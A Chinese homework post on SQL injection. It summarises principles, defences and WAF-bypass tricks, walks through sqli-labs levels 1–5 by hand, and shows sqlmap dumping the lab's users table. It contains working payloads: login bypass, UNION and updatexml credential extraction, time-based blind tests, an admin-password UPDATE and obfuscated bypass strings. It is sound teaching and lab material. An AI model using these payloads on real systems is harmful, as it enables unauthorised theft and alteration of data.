第五次作业

1.总结SQL注入原理、SQL注入常用函数及含义,SQL注入防御手段,SQL注入常用绕过waf的方法

SQL注入原理

SQL注入(SQL Injection)是指攻击者通过将恶意SQL代码插入到应用程序的输入字段中,从而操控应用程序生成并执行未经授权的SQL查询。这种攻击利用了应用程序对用户输入处理不当的漏洞,使得攻击者能够访问、修改或破坏数据库中的数据,甚至执行系统命令。

SQL注入常用函数及含义

  1. SELECT: 用于从数据库中查询数据。

    SELECT * FROM users WHERE username = 'admin';
  2. UNION: 用于将两个或多个SELECT查询的结果集合并成一个结果集。

    SELECT username FROM users UNION SELECT password FROM users;
  3. OR: 用于逻辑运算,可以将条件与其他条件结合。

    SELECT * FROM users WHERE username = 'admin' OR '1'='1';
  4. AND: 用于逻辑运算,将多个条件结合。

    SELECT * FROM users WHERE username = 'admin' AND password = 'password';
  5. SLEEP: 用于引入延迟,通常用于基于时间的盲注攻击。

    SELECT * FROM users WHERE id = '1' AND IF(1=1, SLEEP(5), 0);
  6. CONCAT: 用于连接多个字符串。

    SELECT CONCAT(username, ' - ', password) FROM users;
  7. INTO OUTFILE: 用于将查询结果写入到服务器上的文件中。

    SELECT * INTO OUTFILE '/var/www/html/data.txt' FROM users;
  8. EXEC: 用于执行存储过程或系统命令(在SQL Server中)。

    EXEC xp_cmdshell('dir');

SQL注入防御手段

  1. 使用预处理语句和参数化查询:

    • 通过使用PreparedStatement(在Java中)或其他类似机制,可以将SQL查询与数据分开,从而防止注入。
    SELECT * FROM users WHERE username = ? AND password = ?
  2. 输入验证和过滤:

    • 对所有用户输入进行严格的验证和过滤,确保输入符合预期格式,并清除不必要的特殊字符。
  3. 使用ORM工具:

    • 使用对象关系映射(ORM)工具,如Hibernate(Java)或Entity Framework(.NET),这些工具通常会自动处理SQL注入问题。
  4. 最小权限原则:

    • 数据库账户应只具有执行其任务所需的最小权限,避免使用具有管理权限的账户连接应用程序。
  5. 错误处理:

    • 避免将数据库错误信息暴露给用户。使用通用的错误页面,并记录详细错误信息以供管理员使用。
  6. 安全配置:

    • 配置数据库以限制SQL注入的可能性。例如,禁用不必要的数据库功能或限制存储过程的权限。
  7. 定期安全审计:

    • 定期进行代码审计和安全测试,以识别和修复潜在的SQL注入漏洞。

SQL注入常用绕过WAF(Web应用防火墙)的方法

  1. 字符编码绕过:

    • 使用不同的字符编码或转义字符绕过WAF的检测。例如,将'编码为%27'
  2. 空格替换:

    • 使用/**//*!*/等注释符号代替空格以混淆SQL语句。
    1'/**/OR/**/1=1--
  3. 拼接函数:

    • 使用数据库提供的拼接函数来组合恶意SQL语句。
    1' UNION SELECT CONCAT(username, ':', password) FROM users --
  4. 注释符号:

    • 使用不同的注释符号来掩盖恶意代码。
    1' /* malicious code */ --
  5. 不同的SQL语法:

    • 使用数据库的特定方言或变体来规避WAF的规则。
    1' OR 1=1/*
  6. 时间延迟技巧:

    • 通过引入时间延迟来绕过过滤。
    1' OR IF(1=1, SLEEP(5), 0) --
  7. 混淆和编码:

    • 使用不同的混淆技术,如双重编码或混淆SQL语法,来绕过WAF。
    1%27%20OR%201%3D1--
  8. 逻辑操作符混淆:

    • 使用不同的逻辑操作符混淆SQL注入的尝试。
    1' OR (1=1) --

有效的SQL注入防御需要结合多种措施,通过多层次的保护来降低漏洞风险。

2.sqli-labs前5关,手工过关解题步骤

第一关

传参

添加语句and 1=1看是否被当成代码执行,没变化

尝试闭合

修改成1=2时页面变化存在注入,并且有一个单引号闭合

找字段数,order by,试到4时异常,存在3个字段

union select ,回显2和3,

尝试查找数据库database(),和版本

查找表

账户密码

第二关

和第一关一样,传参判断

and 1=2页面显示错误

和第一关一样查询结果

第三关

都显示正常,尝试闭合,报错,sql语句可能是单引号字符型并且有括号。因此不仅需要闭合单引号而且还要考虑括号。

之后和前几关一样

第四关

和之前操作一样,闭合时输入?id=1"出现报错

sql语句可能是双引号字符型并且有括号。

?id=99") union select 1,1,group_concat(username ,password) from users-- 1

第五关

?id=1

?id=1'报错

判断注入点,无反应

?id=1' and 1=1 -- 1

通过UPDATEXML函数获取当前数据库名称的。载荷中的concat(0x7e,(database()),0x7e)用于将数据库名称包裹在~符号之间。

?id=1' and updatexml(1,concat('$',(database()),'$'),1) -- 1

通过UPDATEXML函数从information_schema.tables中提取指定数据库(security)的所有表名,并用~符号包裹它们。

?id=1' and updatexml(1,concat('$',(select group_concat(table_name) from information_schema.tables where table_schema='security'),'$'),1) -- 1

通过UPDATEXML函数从users表中提取usernamepassword字段的组合,并用$符号包裹。

?id=1' and updatexml(1,concat('$',(select group_concat(username,password)from users),'$'),1) -- 1


3.总结SQL的手工注入的步骤

1. 识别潜在的注入点

  • 输入字段:检查应用程序的输入字段,如登录表单、搜索框、URL参数等。
  • URL和请求参数:尝试在URL参数中注入SQL代码。
  • HTTP头部:某些应用可能在HTTP头部(如Cookie、User-Agent)中处理SQL查询。

2. 确定注入的可能性

  • 测试基本注入

    • 尝试简单的注入测试,例如在输入字段中输入单引号(')或双引号("),查看是否出现SQL错误信息。
    • 例如,1'1" 或 1' AND 1=1 --
  • 观察错误消息:检查应用程序是否返回SQL错误信息,这可能表明存在注入点。例如,You have an error in your SQL syntax

3. 构造注入载荷

  • 注入SQL代码:构造恶意SQL代码进行测试,例如:

    • 登录绕过' OR '1'='1 --
    • 联合查询' UNION SELECT NULL, username, password FROM users --
  • 盲注测试:如果没有错误反馈,可以使用盲注技巧:

    • 布尔盲注:例如,1' AND 1=1 -- 与 1' AND 1=2 --
    • 时间盲注:例如,1' AND IF(1=1, SLEEP(5), 0) --

4. 获取数据

  • 提取数据库结构
    • 识别数据库类型:通过一些通用的SQL查询来推测数据库类型。例如,1' UNION SELECT NULL, @@version --
    • 列信息:尝试获取表和列的信息。比如,1' UNION SELECT NULL, table_name FROM information_schema.tables --
    • 数据提取:一旦知道了表和列的结构,就可以提取数据。例如,1' UNION SELECT NULL, username, password FROM users --

5. 利用注入

  • 执行系统命令:在某些情况下,可以利用SQL注入执行系统命令(如通过xp_cmdshell)。
  • 修改数据:如果有足够的权限,可以修改数据库中的数据,例如,1' OR 1=1; UPDATE users SET password='newpassword' WHERE username='admin' --

6. 绕过防护机制

  • 绕过过滤:如果发现应用程序具有某些过滤机制,可以尝试不同的绕过技术(如字符编码、注释符号等)。
  • 混淆注入载荷:使用注释符号、空格替代字符等技术混淆SQL载荷,绕过Web应用防火墙(WAF)或其他安全措施。

7. 验证和报告

  • 验证结果:确保注入测试成功,检查所获取的数据是否准确。
  • 记录发现:详细记录发现的注入点和测试结果,包括成功的SQL查询和潜在的影响。

注意事项

  • 合法性和伦理:进行SQL注入测试时必须获得合法授权,未经授权的测试可能违法。
  • 安全性:避免在生产环境中进行测试,在安全的测试环境中进行。

4.使用sqlmap通过或验证第六关

-u为基础参数,后跟需要测试的url

变量 id 存在注入点,且使用的是GET方法。

获取数据库

?id=1 --dbms=MySQL --current-db

获取表

?id=1 --dbms=MySQL -D 'security' --tables

数据

?id=1 --dbms=MySQL -D 'security' -T 'users' --dump

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值